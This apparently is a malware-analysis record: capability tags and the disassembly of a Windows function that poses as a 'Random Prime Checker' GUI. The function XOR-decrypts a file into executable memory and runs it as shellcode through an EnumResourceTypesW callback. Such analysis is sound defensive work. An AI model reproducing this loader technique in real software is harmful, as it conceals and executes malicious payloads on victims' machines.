Function at 0x4012f0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x34], 0
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], str.248058040134
mov dword [ebp - 0x64], 0
push 0x2c
push 0
lea ecx, [ebp - 0x60]
push ecx
call fcn.004016d0
add esp, 0xc
push 0
call fcn.004012d0
add esp, 4
push eax
call fcn.00401667
add esp, 4
mov dword [ebp - 0x64], 0x30
mov dword [ebp - 0x60], 3
mov dword [ebp - 0x5c], 0x401100
mov edx, dword [ebp + 8]
mov dword [ebp - 0x50], edx
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], 6
mov dword [ebp - 0x3c], 0x40b010
push 4
push 0x3000
push 0x2625a00
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4013b6
push 0x2625a00
mov eax, dword [ebp - 0xc]
push eax
call fcn.004010c0
jmp 0x4013be
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x15d7
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401401
xor eax, eax
jmp 0x4015a2
push 0
lea edx, [ebp - 0x18]
push edx
push 0x15d7
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 4], 0
jmp 0x40142c
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0x15d7
jge 0x40145c
mov eax, dword [ebp - 4]
cdq
mov ecx, 0xc
idiv ecx
mov eax, dword [ebp - 0x14]
movzx ecx, byte [eax + edx]
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
xor eax, ecx
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov byte [ecx], al
jmp 0x401423
push 0
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
movzx ecx, ax
test ecx, ecx
jne 0x401499
push 0x10
push 0x40b028
push str.Failed_to_register_window_class.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
jmp 0x4015a2
push 0
mov edx, dword [ebp + 8]
push edx
push 0
push 0
push 0x1e0
push 0x280
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Random_Prime_Checker
push str.RandomPrime
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x40cd7c], eax
cmp dword [0x40cd7c], 0
jne 0x4014fa
push 0x10
push 0x40b0c0
push str.Failed_to_create_main_window.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
jmp 0x4015a2
push str.Arial
push 0x20
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x190
push 0
push 0
push 0
push 0x14
call dword [sym.imp.GDI32.dll_CreateFontW]
mov dword [0x40cd78], eax
cmp dword [0x40cd78], 0
jne 0x40154b
push 0x10
push 0x40b114
push str.Failed_to_load_font.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
jmp 0x4015a2
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [0x40cd7c]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [0x40cd7c]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x401593
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x401569
mov eax, dword [0x40cd78]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp - 0x2c]
mov esp, ebp
pop ebp
ret 0x10